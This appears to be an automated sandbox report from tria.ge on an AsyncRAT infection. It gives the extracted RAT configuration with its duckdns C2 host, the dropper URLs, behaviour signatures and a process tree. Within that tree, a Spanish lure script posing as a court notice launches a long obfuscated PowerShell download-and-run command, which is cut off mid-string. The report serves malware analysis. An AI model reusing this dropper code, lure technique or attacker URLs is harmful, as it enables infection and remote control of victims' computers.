Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    365s
  • max time network
    369s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-es
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-eslocale:es-esos:windows10-2004-x64systemwindows
  • submitted
    09/12/2024, 23:30

Errors

Reason
Machine shutdown

General

  • Target

    https://drive.usercontent.google.com/download?id=1RAVDxy-Rt9Mxfl4Nn6H5Cgo-qpzKb-jR&export=download

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt

exe.dropper

https://drive.google.com/uc?export=download&id=

exe.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt

exe.dropper

https://drive.google.com/uc?export=download&id=

exe.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt

Extracted

Family

asyncrat

Version

| CRACKED BY https://t.me/xworm_v2

Botnet

*** HOLA 9 DICIEMBRE **

C2

holadic06.duckdns.org:9003

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Blocklisted process makes network request 36 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 36 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops desktop.ini file(s) 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry class 2 IoCs
  • Script User-Agent 6 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 48 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://drive.usercontent.google.com/download?id=1RAVDxy-Rt9Mxfl4Nn6H5Cgo-qpzKb-jR&export=download
    1⤵
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:976
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff9279cc40,0x7fff9279cc4c,0x7fff9279cc58
      2⤵
        PID:1160
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1848,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1840 /prefetch:2
        2⤵
          PID:4420
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1712,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2160 /prefetch:3
          2⤵
            PID:4536
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2216,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2428 /prefetch:8
            2⤵
              PID:2440
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3124,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3140 /prefetch:1
              2⤵
                PID:4268
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3116,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3184 /prefetch:1
                2⤵
                  PID:4808
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4632,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4640 /prefetch:8
                  2⤵
                    PID:2288
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5036,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5028 /prefetch:8
                    2⤵
                    • Drops file in Windows directory
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1184
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1600,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2812 /prefetch:8
                    2⤵
                      PID:2724
                    • C:\Windows\System32\WScript.exe
                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
                      2⤵
                      • Blocklisted process makes network request
                      • Checks computer location settings
                      PID:1312
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 